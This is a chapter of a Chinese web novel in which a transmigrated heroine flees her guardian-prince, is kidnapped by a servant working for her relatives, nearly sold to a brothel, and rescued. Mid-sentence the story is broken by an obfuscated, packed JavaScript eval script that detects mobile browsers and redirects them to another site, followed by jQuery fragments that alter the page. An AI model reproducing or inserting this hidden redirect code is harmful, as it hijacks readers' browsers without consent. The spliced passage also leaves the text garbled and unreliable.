5. 第 5 章

作品:《世子他守身如玉

    “殿下,要不要把叶姑娘捉……请回来?”亲卫凑到齐淮的身边观察着世子的神色,意外的发现世子竟然不怎么生气,赶紧改口捉变为请。


    齐淮看了又看侧院的方向,朝属下摆摆手,看着属下疑惑的表情于是正色道,“我着急出门,回来再说。”亲卫便赶紧招呼着小厮们簇拥着齐淮走进房内。


    换衣服时想起她挂在墙上的样子,穿着层叠裙摆前滚翻到自己面前的样子,齐淮自己都没察觉到,自己的嘴角不知何时已忍不住挂上了笑意,


    她竟然觉得自己本应该抱起那么沉的石头?


    明明所有女子都以力弱为美,这个叶姑娘的追求,有点奇怪,和自己母亲倒有三分相似。


    叶忆葡初中时拿起这种大小的湖石就不费劲了,而现在的身体,连挪动一下都不成,这样的柔弱身子骨,还有什么锻炼的必要呢,叶忆葡强身健体的信心被一连串打击得消失殆尽。


    她躺在床上消沉了好久,才发觉阿藤正欲言又止的守在她旁边。


    “世子殿下有事出门了,叫您……吃过晚饭后去给他一个解释。”阿藤有点害怕的哭了,她不知道自己在屋里收拾行李就这一小会儿功夫,小姐怎么就得罪了世子。


    阿藤方才刚悄悄趴在墙头看上一眼便又羞又怕赶紧跳了下来,那边院子里,好几个亲卫被脱了裤子并排挨着整整齐齐被打板子呢,一下下板子就那么落下去却没有一个肯出声,小门小户可没见过这样挨了打也忍着不叫唤的下人。


    耳边是隔壁不绝于耳的板板到肉的声音,旁边看的是阿藤不住啜泣的战战兢兢,叶忆葡明白,把一位古代亲王的儿子撞进水里可不是一句对不起就能解决的。


    忽然视线落到了桌子上阿藤正在整理的一大摞银票,叶忆葡眼前一亮,“出门?阿藤,我问你,我是不是很有钱?”


    阿藤点点头,叶忆葡想起齐淮刚刚那一身不怒自威的迫人气场,她觉得自己不如趁现在一走了之,去京里认亲后还要为人摆布,不如天高海阔,何处不留人呢。


    下定决心,叶忆葡便让阿藤把银票田产铺子等轻便财产打个包袱装好,剩下拿不走的她也是阔气,挥挥手,当做自己不告而别送给齐淮的陪谢礼了,来日自己发达了也好有缘再见。


    收拾好了,阿藤才知道小姐打算出走,她吓了一跳,“小姐,女子怎么可能独自行走天下呢,万万不可啊,何况老家的那些人还一直惦记着您的家财呢。”


    叶忆葡叫阿藤放宽心,燕雀安知鸿鹄之志哉,她并不是自幼被掐断翅膀养在内院的丝雀,她本就有行走世间的胆量。


    她是习惯了自由翱翔的雌鹰。


    “一会晚膳,我便带你去当地最大的酒楼吃饭,你跟着本姑娘,保证让你从此过上崭新而自由的人生。”


    叶忆葡想着齐淮应是晚膳后才能回来,时间还早,便让家丁赶车,送她们去当地的闹市逛一逛,叶忆葡行走街头正春风得意之际,阿藤惊慌的发现有人在跟踪她们。


    叶忆葡不认人,可阿藤却认得,那是她苏州旁系叔伯家的人,阿藤拽着小姐匆忙上车要回去,过了好一会才发现,今日跟车的家丁竟把车赶出了城外,而车门早已被从外面锁住了。


    阿藤哭骂着家丁狼子野心,是不是早就跟老家人串通一气了,把小姐害死,那些狼叔奸伯便能瓜分叶家的家财了,骂着骂着阿藤反应过来,“那天把小姐摔出一丈远,也是你赶的车!”


    那家丁在前头叫嚣着,“小姐,别怪小的狠心,这么多天了,是您自己不争气,您若攀得上世子,堂老爷给我再多银子我也不敢动你……”


    原来,只是像前身那般与世子暧昧不清,便足够震慑一干小人了。


    此刻,叶忆葡忽的明白了自己的处境,也明白了前身并不是自己所认为的无脑趋炎软骨之辈,只是这世道残忍,人人笑骂女子只懂攀援依附时,却从不提,其他的路早都被一一堵死!


    自己唯一不同便是一双见过那可以自由翱翔天空的眼睛,不该自以为比古代女子优越,妄自评判其他女子是缩首的燕雀,其实,女子个个生来便有鹰击长空的能力,而在这里却遍地是被生生折断了翅膀的雌鹰啊……


    叶忆葡再次拆下头上的金钗,即便如此也没有束手就死的道理,她在马车疯狂的颠簸中静静等待着将敌人一击毙命的机会……


    不知过去多久,马车终于停下,似是在等人,


    安静了许久,终于外头有了些许声音,帘子被掀开的一瞬,叶忆葡便直刺过去。


    “世子殿下!”


    尽管齐淮闪避及时却仍叫叶忆葡划伤了脖子。


    “殿下……怎么是你?”峰回路转,又惊又喜的叶忆葡朝齐淮伸出双臂差点抱了上去,突然想起这是古代男女授受不亲,又急忙推开了齐淮。


    被叶忆葡莫名其妙这么一拉扯,伤口开裂,“又是簪子……”齐淮吃痛。


    “保护世子”,随着亲卫们的喝声,整个车厢便瞬时被劈成四分五裂,叶忆葡不得不承认,比起亲卫们的高强武艺,自己现在不过是三脚猫般的功夫。


    齐淮急忙喊,“我没事,不要伤她。”


    叶忆葡站在车板上一阵恍然,低头看见齐淮被自己划伤的地方正不住向外渗血,她下意识的撕了自己的袖子按住了伤口。


    即便身似浮萍,她依旧不愿见伤者无医。


    一时间,齐淮不知是该斥责她恩将仇报好,还是斥责她不顾男女大防好,但他却没有躲开。


    女子垂首在查看他的伤,齐整的发髻却落下一缕青丝,若有似无拂过他的鼻尖,齐淮走了神,是,山中四月白兰的味道。


    在仰视中,夜的微光照过叶忆葡脸庞,如照玉莹白,轮廓有光,是何时起,她的眼睛开始有了淡淡的悲悯,此刻专注而慈悲望着他,如同神女低眉。


    齐淮还在愣神,那边叶忆葡不肯拖泥带水,为他包扎完毕便立即跳下车。


    叶忆葡的眼睛生的黑白分明、又大又亮十分灵动,她兴致勃勃颇为好奇的打量着,这一看便是一座巨大酒楼的后院,隐约能听见前院丝竹作响、人声鼎沸,而这后院却出奇的安静,难不成要把她送进这里当杂役?


    齐淮的亲卫送上来两张身契,叶忆葡接过一瞧,便看见上面赫然写着自己的名字,


    卖予百花楼、为倡伎几个字赫然在列,十分刺目。


    这里原来是百花楼,她的叔伯不过签几个字,便可以直接把她推进火坑。


    叶忆葡呆立在那里,冷气从脚底往上冒,瞬间冷汗淋漓,只差一步,她就万劫不复,从小生在红旗下长在法治社会的人,哪里想得出封建时代具体的模样呢。


    此刻叶忆葡终于在震动中了然,原来是这样的一个时代,女子的身份,是桎梏、是枷锁、是牢笼,她随时都受亲族男子的支配,家财万贯,也不能保护自己,万贯家财,最多经由她,流向男子。


    她在现代所习惯的一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14490202|154684||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    切,此时此刻,统统都被颠覆了。


    看到女子呆呆立在那儿,齐淮便走到她身边,伸手便把那两张身契撕了,


    又有意好声好气的指点她,“管教下人,要恩威并施,赏罚分明,今后,你得学着些驭下之术……”


    叶忆葡抬起脸看向他,那漆黑的眸子在夜里映出细碎的光,她目光灼灼的问他,“我若会了驭下之术,叶氏偏房的叔伯便没资格卖我了是吗?”


    这个问题,在场的人都心知肚明却又习以为常,况且齐淮并没有抓住叶家偏房的人,一切不过可以说成是奴仆造业、攀诬主人罢了。


    就在此时,一个汉子左右打量着进了后院,看见一众贵人,他点头哈腰、面上流露出讨好的神色,可手里却丝毫不松劲儿的钳住一个女孩的胳膊拖行着。


    百花楼的鸦公根本不敢现身,而汉子却见人就问,要卖掉手里的侄女。


    多么巧合,叶忆葡的心底没来由得疼痛,这哪里是巧合!


    齐淮皱眉,亲卫便立即要赶走汉子,却被叶忆葡一步抢到了前面。


    “你要把她卖多少?”叶忆葡平静的问。


    “听说百花楼给的,要比卖作奴仆贵……这个数。”汉子谄媚得笑着,遮遮掩掩伸出两根手指。


    “多多少?”


    “多二两。”


    叶忆葡不怒反笑,“二两?就二两……哈哈哈哈,世子殿下,我那张契据上,有没有多这二两呢?”她笑弯了腰,眼角都有了泪花。


    “小姐……别吓阿藤……”


    担心她被此事刺激得损了心智,齐淮示意亲卫,这女娃他买下了,随意多给些,快点打发了人走。


    可叶忆葡却突然正色道,“不许多给他一文钱,凭什么他卖掉别人骨肉,反倒多赚!”


    叶忆葡身形踉跄却因气愤涨红了脸颊,明明是暮春时节,她却冷的遍体生寒。


    “便都依你,阿藤快来扶着你家姑娘。”齐淮想快点带她离开这个伤怀地。


    可这时,身后的女孩却扑通跪下,她膝行朝前,切切哀求着叶忆葡,


    “好心的贵人,不值得为我动气,但求可怜可怜我家中的弟弟,多给我叔叔些罢,让双儿能活得下去……”


    她说她不值得……


    叶忆葡转身停了脚步,她此时也不会再感到诧异,只是女孩的眼睛不断涌出的泪让人心疼,怒其不争吗?叶忆葡不会,她明白,该怪的不是女孩,而是规训她至此的那些东西。


    "阿藤,给她的叔叔添十两,"她盯着女孩的眼睛,一字一顿的说,“但今后,你一定要听我的。”


    “你的名字?”


    “盼儿。”


    “盼儿,从现在起,再也别说,你不值得。”说了一半,叶忆葡的声音却渐渐低了下去,她自己,有这样的能力吗。


    那被捆绑在旁边的家丁看叶忆葡心善,抓住机会,呜呜咽咽开始求饶,哭诉家中也有儿女,若没了自己亦会如此凄惨,就当是救救自己的孩子……


    “他犯的罪怎样处置?”看着家丁哭得涕泗横流、悔不当初,叶忆葡转过来,似是面有不忍。


    “以下犯上,送官必死,即便你不肯送,也要打了板子卖出去。”齐淮看到叶忆葡的眼里,仍有慈悲,即使面对这个刚刚加害她的人。


    果然,“先带他回去罢”,看着叶忆葡认认真真说出这话的模样,让齐淮叹息到底是个没见识的小女子,当断不断,反受其乱。